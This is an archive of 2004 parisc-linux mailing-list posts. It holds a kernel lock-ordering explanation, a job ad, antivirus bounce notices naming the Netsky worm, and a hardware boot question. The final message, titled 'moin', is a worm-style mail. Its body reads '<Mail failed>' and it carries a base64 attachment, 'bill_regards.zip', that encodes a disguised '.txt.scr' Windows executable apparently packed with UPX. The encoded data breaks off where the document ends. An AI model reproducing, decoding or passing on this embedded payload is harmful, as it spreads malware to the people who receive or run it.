Lines: 23
Approved: news@gmane.org
Message-ID: <20040329163134.GE7709@parcelfarce.linux.theplanet.co.uk>
References: <20040329160357.GA31448@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623318 7443 80.91.229.3 (22 Nov 2014 02:28:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: willy@www.linux.org.uk  Mon Mar 29 09:31:35 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EE0D488E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 09:31:35 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B7zfi-0006Zb-BB; Mon, 29 Mar 2004 17:31:34 +0100
Content-Disposition: inline
In-Reply-To: <20040329160357.GA31448@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 29 Mar 2004 16:31:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21237

On Mon, Mar 29, 2004 at 09:03:57AM -0700, Grant Grundler wrote:
> o double_rq_lock() acquires the locks with lowest address first.
>   double_rq_unlock() does not release those in the inverse order.
>   Is that a problem?

No.  You have two possibilities (locks A, B; acquire and release):

1. Aa Ba Ar Br
2. Aa Ba Br Ar

It doesn't matter how you combine them; either you are waiting for A or
you have A and are waiting for B.  You never have B and are waiting for A.
Case 2 is the more common idiom since B is then entirely nested within A,
but lock A ranks lock B in both cases, so you're safe.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Corporate Jobs" <jobs@TurnAroundStrategies.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux Kernel Programmers
Date: Mon, 29 Mar 2004 12:47:04 +0100
Organization: TurnAroundStrategies
Lines: 32
Approved: news@gmane.org
Message-ID: <078a01c41583$8f8120c0$3a4a3842@comcast.net>
Reply-To: Corporate Jobs <jobs@TurnAroundStrategies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623318 7447 80.91.229.3 (22 Nov 2014 02:28:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:38 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: jobs@turnaroundstrategies.com  Mon Mar 29 10:48:24 2004
Return-Path: <jobs@turnaroundstrategies.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9580649F3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 10:48:24 -0700 (MST)
Original-Received: from avinash (c-66-56-74-58.atl.client2.attbi.com[66.56.74.58])
	by comcast.net (rwcrmhc12) with SMTP
	id <20040329174822014007gm8se>; Mon, 29 Mar 2004 17:48:23 +0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 29 Mar 2004 17:48:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21238



We are building a small benchmarking team for the following project in Bay
Area, CA. This is Linux kernel level work. Interested people should email
their RESUMEs to
Jobs@TurnAroundStrategies.com

Position 1) Skills Required: In-depth knowledge in and experience with the
Linux kernel
(particularly the I/O subsystem), filesystems, Oracle and TPC benchmarking.

Location: Bay Area, CA


Position 2) Skills Required:  System level programmers for device drivers on
Linux.


Location: Bay Area, CA


Strategic Talent Acquisition and Retention ( STAR) Team
NBS Corp

****************************************************************************
*************************
To unsubscribe send email to: Info@TurnAroundStrategies.com

****************************************************************************
**************************



From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAILER-DAEMON@mail-gw5.metropolis-inter.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undeliverable mail: Re: Re: corrected
Date: Mon, 29 Mar 2004 14:20:36 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <receipt-6369855@mail-gw5.metropolis-inter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type="delivery-status";
	boundary="_===6369855====mail-gw5.metropolis-inter.com===_"
X-Trace: ger.gmane.org 1416623318 7448 80.91.229.3 (22 Nov 2014 02:28:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:38 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: MAILER-DAEMON  Mon Mar 29 11:20:29 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-gw5.metropolis-inter.com (mail-gw5.metropolis-inter.com
	[200.27.66.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37F934A0A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 11:20:29 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 29 Mar 2004 18:20:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21239


--_===6369855====mail-gw5.metropolis-inter.com===_
Content-Type: text/plain; charset="utf-8"

Failed to deliver to 'castrili@mi.cl'
Virus(es) found.
{message} is infected with W32/Netsky-P
screensaver_castrili.zip is infected with W32/Netsky-P
Total infections: 2

Captured by Sophos antivirus plugin running on CommuniGate Pro mail server <http://www.stalker.com/CommuniGatePro/>



--_===6369855====mail-gw5.metropolis-inter.com===_
Content-Type: message/delivery-status

Reporting-MTA: dns; mail-gw5.metropolis-inter.com

Original-Recipient: rfc822;<castrili@mi.cl>
Final-Recipient: system;<castrili@mi.cl>
Action: failed
Status: 5.0.0

--_===6369855====mail-gw5.metropolis-inter.com===_
Content-Type: text/rfc822-headers

Received: by mail-gw5.metropolis-inter.com (CommuniGate Pro PIPE 4.1.8)
  with PIPE id 6369848; Mon, 29 Mar 2004 14:20:33 -0400
Received: from [200.83.49.12] (HELO mi.cl)
  by mail-gw5.metropolis-inter.com (CommuniGate Pro SMTP 4.1.8)
  with ESMTP id 6369839 for castrili@mi.cl; Mon, 29 Mar 2004 14:20:19 -0400
From: parisc-linux@lists.parisc-linux.org
To: castrili@mi.cl
Subject: Re: Re: corrected
Date: Mon, 29 Mar 2004 14:20:00 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Priority: 3
X-MSMail-Priority: Normal
Message-ID: <auto-000006369839@mail-gw5.metropolis-inter.com>
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on 
	mail-gw5.metropolis-inter.com
X-Spam-Level: XXXXXX
X-Spam-Status: No, hits=6.3 required=8.0 tests=MIME_BOUND_NEXTPART,
	MISSING_MIMEOLE,MSGID_FROM_MTA_SHORT,NO_REAL_NAME,PRIORITY_NO_NAME 
	autolearn=no version=2.63
X-TFF-CGPSA-Filter: Scanned
X-TFF-CGPSA-Version: 1.2.1 (mail-gw5.metropolis-inter.com)

--_===6369855====mail-gw5.metropolis-inter.com===_--


From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Tue, 30 Mar 2004 02:07:07 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <0f7001c415ea$f09da3d0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623319 7453 80.91.229.3 (22 Nov 2014 02:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:39 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Mon Mar 29 17:07:29 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E1784AED
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 17:07:29 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88660.dip0.t-ipconnect.de
	[217.232.134.96])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2U07So25762
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 02:07:28 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Tue, 30 Mar 2004 02:07:07 +0200
thread-index: AcQV6vCdhqz+55dpRvyBEqaUoMp3NA==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 30 Mar 2004 00:07:07.0677 (UTC)
	FILETIME=[F0A014D0:01C415EA]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Mar 2004 00:07:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21240

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/30/2004 2:07:07 AM
Engine/Pattern = 6.860-1001/1.842.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Prakash Shenoy" <mpshenoy@vsnl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 Visualize C180 Workstation display does not
	appear.
Date: Mon, 29 Mar 2004 22:47:59 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <OFEELBIMFFDMJBJFHICCKELICEAA.mpshenoy@vsnl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623319 7456 80.91.229.3 (22 Nov 2014 02:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:39 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: mpshenoy@vsnl.com  Mon Mar 29 20:47:49 2004
Return-Path: <mpshenoy@vsnl.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93D78483C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 20:47:49 -0700 (MST)
Original-Received: from shama (pcp08440342pcs.avenel01.nj.comcast.net[69.136.143.63])
	by comcast.net (rwcrmhc11) with SMTP
	id <200403300347470130031q10e>; Tue, 30 Mar 2004 03:47:48 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Mar 2004 03:47:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21241

Thanks. Using tab key I could sucessfully bring the display up.
I also installed Debian 2.4 using net-iso
(palinux-2.4.21-pa6-20030718-netinst.iso).
The installation gets completed without any problem but the system does not
come up after
reboot.

I have two SCSI hard disks on the workstation and debian installed on drive
0. The system
stops at ISL prompt.

Please help.

Prakash


On Thu, Mar 25, 2004 at 10:06:35PM -0500, Prakash Shenoy wrote:
> Hi!
>
> I recently bought a HP 9000 Visualize C180 workstation from a vendor on
eBay
> and EVC to VGA Video Adapter Cable from another vendor. Both claim that
Non
> DOA on arrival.
>
> The workstation appears to boot properly but no display appears. Has any
one
> come across this situation.

Have you tried hitting <tab> key at power up?
That should let you cycle through the various supported
graphics modes.

Have you tried with a serial console?
disconnect the keyboard before doing this.

This is a FAQ but it's not in the parisc-linux FAQ.
If someone has a moment to submit a patch against
cvs.parisc-linux.org's web/src/faq/index.x I'll be
happy to edit/submit it.

thanks,
grant



From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: arivu@sansad.nic.in
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] moin
Date: Tue, 30 Mar 2004 10:00:39 +0530
Lines: 471
Approved: news@gmane.org
Message-ID: <20040330043036.D4710483C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0002_000074DB.00002D8E"
X-Trace: ger.gmane.org 1416623319 7459 80.91.229.3 (22 Nov 2014 02:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: arivu@sansad.nic.in  Mon Mar 29 21:30:49 2004
Return-Path: <arivu@sansad.nic.in>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4710483C
	for <parisc-linux@parisc-linux.org>;
	Mon, 29 Mar 2004 21:30:36 -0700 (MST)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Mar 2004 04:30:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21242

This is a multi-part message in MIME format.

------=_NextPart_000_0002_000074DB.00002D8E
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

<Mail failed>

------=_NextPart_000_0002_000074DB.00002D8E
Content-Type: application/x-zip-compressed;
	name="bill_regards.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="bill_regards.zip"

UEsDBAoAAAAAANMjfjCudsW6AF4AAABeAAAUAAAAYmlsbF9yZWdhcmRzLnR4dC5zY3JNWpAA
AwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1Mg
bW9kZS4NDQokAAAAAAAAAFBFAABMAQMA0kg7QAAAAAAAAAAA4AAPAgsBAjgAYAAAABAAAABQ
AQDgsAEAAGABAADAAQAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAANABAAAQAAAAAAAA
AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAEMUBAIABAAAAwAEAEAUAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAA
AAAAUAEAABAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAAGAAAABgAQAAVAAA
AAIAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAwAEAAAgAAABWAAAAAAAAAAAAAAAA
AABAAADAMS4yNABVUFghDAkCCboz3IINTC31h5YBAMBQAAAAogAAJgUABP////9Vi+yLRQxW
V4t9CDPSM8kz9oA/AHQpU2oBWyvfiV0Iivf/7f8fgPsudQyIDAKLVSDJA9frBYhcBgFBRkcn
+/9td3XhWxiAZA8AjUYBX15dw4tEJAhTTG//f7t8JBBNgfoACAAAfToPtgiFyXRZwcB1uv//
tyRXXjvOfAuKHAaIH0dGO/F+9YB8AT5Ef3v73wR0BMYHLkdC68gvQAEDSBjrvIAnAO3v7m5V
W8OjgewYS4Cl6Pf//wBg377727n/MwAzwI296Q/zq2aram/2WqpS9v///41F7FZQiVXo6AUA
InyLPVhhQACDxAxmOXUQZsca7m6//QIAdgX/CuscaBirGGgMBP8VXN7a/+8jO8Z0BmaLQAjr
BGo1/9ciMYlF7jb39tsagD74/wvwdRcUK2R2195OJSoMiwABGFZqAgHbt0O2KWgQJmr9WOl+
ArXmt/9gav7r9lNo3xGo/9eAjeoB/btrNrdYhZsI1+wSjYX0BabbzK1QDbXuZAgJ8Le/3XQG
8uhd/gRZi/BZg8Z+dRS/XxvhgKQ1AEZRSoQ1S7bXXzDbewlf8GwD/GoEUG9uu7m7JuIGEART
8vz8oA/4/j17iBxoBReLXRBTEewW3nZbPFBfBWo5hV1AU7t9O9nQcHUV/F7rNSPoUCfSbYet
UCJo0hYYInRGYbMNFQp4PUysObp24YVA++vOiusCsyJ8W+MXbovGW8PJw1aLdBoLV639H/5p
wBAQBABQoNSL+FmF/3QnFRQ3ROjaBAI8Xle4soX2frT2d/sPi8eLztowBRtJdfUOR/vRcGcK
DBC0aA+3goX2v78CfGqNSP++JolN+OsDiwQdvDfHG3FYflOzEfyNuhro/g0v34/+/Vg7TwJ2
L42f/AtWYttYZ30GU43sTVMHjWXs8BQFi+wkZ6Pjb4UDhUZ1vYXAdKOPyZBtZ0YGAv6Jaj8m
4W6fjlmP/ot16h1g/Bvbb7+Yg2X8AKp7RgZQ/9OtwCH49uyLdAwICQoWA8c6tdvWvkkDHjD0
xn3oKLaXSr+IRgyKCIQ5QL7JQMfw+/+Fm0Tvi9FYwekC86WLyoPhA/Okiym0afdbCQFN9AP5
cwPBQYBnfq/tvhpH/0X0Q+vAy1XfJxzvxsDevVl0FRBNBee9rm3fGl8tjXwwE45EBI+Vhbfb
Zj0ddRLx+HQN3fhhsFY4RYfBxWYG9mZ2rhAYVAJkqQh1B/wzwv+O8wVjg33sAA+EAwEZ/a7c
zjYzB+FIFpAABp3p7ZvGg+gDdG4ECnQMli0AnnRbfz04jUeIUKH9AErhYbM5CFH4kgDx/NlN
7zZjCCrpjY0mgYPNffttEFEtJixrRwpZWW4mffjm2vD/LMC1QQJ1WYLrU7kDMrJcCv7rPTKy
3S7BQ585N30o9fB7N3PNVFBzcHmNhAgEqu6tuZlrX2ph7HQadZuBC7MIO0M4DBWtAB3Pwk3J
R+v0Iwirqllr8nkZNggI+PfIL7NRJvnCSM2XtsqlqsnkYFxAn4vY4whLS3n4kolwInLuGVxT
aW/OWugfhLULsYAhHo91UeSebZn/XVBqD42DENJQiQCgyX27lXD0FIUNaIuzDBlkAPayUnws
RgQprO1y/EGLNuvYWkAwgHEtZA20wxYwKjAuM+1+exKDGQSBffyUK3zSih8g27NdZAdWr4Xb
ClO7YCXD/xHiT0MDMUoRCoVZIAgktp0ctJf/0nUEDVDm54brv0UQg/4IV/fQudMNjNFt0P7t
/sHvXt/324003okfMxrw0oUvGCPxM/MMwet8BLWQfXuu3b4zw0IUGRcGWgGLNLW3DY4WwejJ
8BnGI8EgmFtGjhYEhe7GMC27YG5UIiwSTw//NTjHhUEt4ScZxfgj+TP7W+FHfiM8vcdCTnXn
LPxb4LHAjF1AYwA5VW41XGS/gAdWaCxgGoZuu38DVgJoEICTjoFhYwyM/Ir95gbZmq2xB/VW
JAJALLeGD87Ttf8mfQzR0sbH8v7JLx5OwCocsh2BiWouC5AW+HYLsuAJzMckUEsDBEx3EzsX
ylBcxAoABZa7pukWjcYDmMiaLwnk1yzRSiQlVvycCnt+E13MB56iCmmLHShgMBBu29xtzgKg
ViOWVgnSCMzmoG0FpAu7IyTWdWXbDdYQqDraA6yLUoHmygioragtg635yiB43K4CutX2vebc
HjwwBe3XDcPA2zpWVi8eZoiJoex6ZhwpF4z7GWWWX0NaUBx1CBhhyHbb6iE5DHQcJYxftltH
rFBQmwFF674H+PAKneuy8EiQkDId27Phsh2QAQISlBS0CLY6WGGGIHiZtVbXUHfZNeAFBi/k
ES4HPZ8NbeYrWF3oAeoB9NyscLJr7OCSiQRqzEa2EYD8CIGWWKJQBe267glYw237sHuD7BAz
8DEVMC3e/fulpfDPB3IIB9oHdgZe8NQHZnls7AVu8gFyBgwT8gEAGjjypPb2H/YKi/B2+19Y
8kpEweAJweEFC8ENDAsYSjxotJ3w4CxurH3bFwYP+mbR6QgdCBpuxBgCAL++V1awEOHRAKuF
whhm4bCMi/y7hWr4NnRdr1OP+YnW14syOQPdzN0IdC3kHh34ygfnDGYGjc89KKZLWKNkO0xk
I3D0o0MLpQRWlXWj3ZtIipGUZRhMJOIRivrSDd5FcAGD4lziBLAEC9aD0vy/O8YBipIhiFEB
fhqKUAECxawsyw8CBhztC+277bI9KwIlcn4OikAipmB/9uA/ioAasD2IQQP5XVtHFwyBQdSU
elAH2I4cuZmQBtyM4IjkhMiRI0fogOx8pHgcOXLkqHSscLBstGiRI0eOuGS8YMBcOnLkyMRY
yFTMUNBMzAanMfk4eon+nc1mGk/+EzSLjalfKAv9AjGgA8j32dHYIju+8XkC994D9AYGAOkw
lvwkAHUxDDXAP757yblIYX0FuUSrimo8mV+UeOut5gdSV5nH/lBRKz3P0y2pUAT6+PDyu3m6
GwuFoAz29NRoHKh4FOvDvjBhJkm3oyXGyRTU+MEdUBd4C5cBC8XCdD38myKd0O3tPLuUdAUq
dANDCoeAJhPRdtne6wN82yk5dDQk9DnMDvfPjYdACvCQwI/ULnM17EFS0zvHdFIL2xvcRHRN
RnoEfORF+AsQVbv9UjqZWff5OQt9B0ZtYKG3FIhNJRZXaJhs7jmLqTgZFCGV+OpDMgvfX4WD
yP+3eIvfFKHQfkEAVv1DA/PDnhpf4G2Zow/xECX/fx9OM2IxnBEzDNDhBxZbCPF0K2oMuX1N
jLtZgwzqMOxQYWzOtcC8jF95CIMSlwvNcdMA/F8zId2hdd+1CCvADEAhM0xf6G8jfFMSigZD
RjyICo0ENybeRr89bHLYFx0wrvwSr9B+PGYKiYoRgPogL39/K0wECXUDQevxDjB8Ejl/Df+F
20ad0juAQTxC0OvngDktdfZhte8J64LnAjV5uMwTWK7MLb63zPlU/nu37XODCLk1JFMzENaL
fiKw/e32gDwfQIdTRw07+Hzy6xJRH9jmZKOMmVRQgL09r2aGtuHLRBlJtTjb8gVoi/D2FrTH
kv0m2TQ0/VZ4wVkToPmaAcQvLoVqjWZQaBPcFtYGegYKCyEEHlkPSW07nvwY0dwCJRkGoINC
4WoGP+x/3vwHaBHzwnFN8GoEUb+8gImHV1B78PCYOmsQwNTW8XJXukagAJ8Q3HGqRNssNQFD
P/YXdHX12H+8DW9qIWWD+hV+Fg+ZuQbW9RbNOBFLlciCUhIl2RO7czMT/IEd9Cot2sPx9z3Y
OtfTZXrHz+6VwN0bdeyXu8gWWTvDWbzQLhdAXgc9kFRJjVMHgtEl89xsrkDdx7FZEFoXEjy/
4C17s7MQVxFkIWz3baFfLCBcfAc9K1d+V1NW2SAZFE5M8tPcqrMGK4+oBgSQz76AEFakvgCu
5JKJ7FZVXVKVmYa89K1ZqMlLLrJSCv8FnytLMuw2ENMFCcOMNI/IAFfHOfsPD59F+xFkwvVM
1mrYBdbghlWEMQ7p3hMYfjIkeOg8a7qbyEA8hoB9+1IHg1l6T6K+ejT57D1Mu8+AmQ0wvAUz
DFxZrCXp3nQTFmXkiFw9ZZPd4zTwnQp+ILIjg5yMBPCAiESwJAfYH3DbBVuWZNxzpLKVTvfQ
GMHsAsNI4TdbdvAlHSwHqaXbVZJnGKTG63e0kiM5OQ0G9ehsSIb1WXdZCceWzV2TeXCtyWlA
BmOFaOwucsjZCixgPDIgR8kIVPThANsG9UAvTGeS3rMD9CwLYwvIky3Jty80UCQs4GACWa8p
UBEiMMw1BzblycKyUAVCD7T9mMTbiFJrEE/7vQlD2mms2RslmTB3gYXgKRDQvlmSI7D4E3xL
NghJh1m6tLDzbAkulHiIln0BuZQLVwwlB7kQLiwgrMFKCMkoKGAjH5wFagc8VynkCQSDVG8Y
